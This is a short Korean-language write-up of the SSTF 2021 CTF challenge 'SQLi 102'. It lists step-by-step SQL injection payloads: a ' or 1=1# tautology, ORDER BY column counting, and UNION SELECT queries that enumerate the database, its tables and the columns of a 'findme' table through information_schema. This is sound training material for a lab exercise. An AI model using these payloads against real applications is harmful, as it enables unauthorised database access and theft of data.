CTF/SSTF [Hacker's Playground]
[SSTF 2021] SQLi 102 (Hacker's Playground)
ruming
2021. 8. 19. 20:35
참인 쿼리 입력
' or 1=1#
책 정보가 출력되었다.
컬럼 개수 알아내기
order by는 전체 컬럼 개수보다 더 큰 값을 입력하면 오류 발생
1' order by 1#
9개에서 오류 발생 → 컬럼 개수가 8개인 것을 알아냄
union을 사용해 인젝션 시도
DB명 알아내기
' union select 1,2,3,4,schema_name,6,7,8 from information_schema.schemata#
' union select 1,2,3,4,database(),6,7,8 #
sqli102
테이블명 알아내기
sqli102에서 테이블명 출력
' union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema='sqli102'#
컬럼명 알아내기
findme에서 컬럼명 출력
' union select 1,2,3,4,column_name,6,7,8 from information_schema.columns where table_name='findme'#